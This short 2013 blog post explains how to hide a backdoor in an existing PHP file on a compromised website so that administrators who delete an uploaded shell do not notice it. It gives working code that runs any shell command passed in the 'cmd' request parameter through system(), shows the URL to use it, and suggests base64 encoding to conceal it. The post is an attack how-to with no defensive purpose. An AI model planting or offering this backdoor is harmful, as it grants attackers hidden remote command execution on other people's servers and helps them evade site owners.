febrero 19, 2013
0:50

Backdoor php files

So u upload a shell in somewebsite and most of times admin will delete the shell when he detect ..
But why u not backdoor anyfile from site

So just edit any php file from site and pot this code into it


if(isset($_REQUEST['cmd'])){
echo "

";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "

";
die;
}

?>
so u can use it like this yourbackdooredfile.php?cmd= ( Your Linux Command )

you can also base64 encode it

$DBCall = base64_decode("");

:)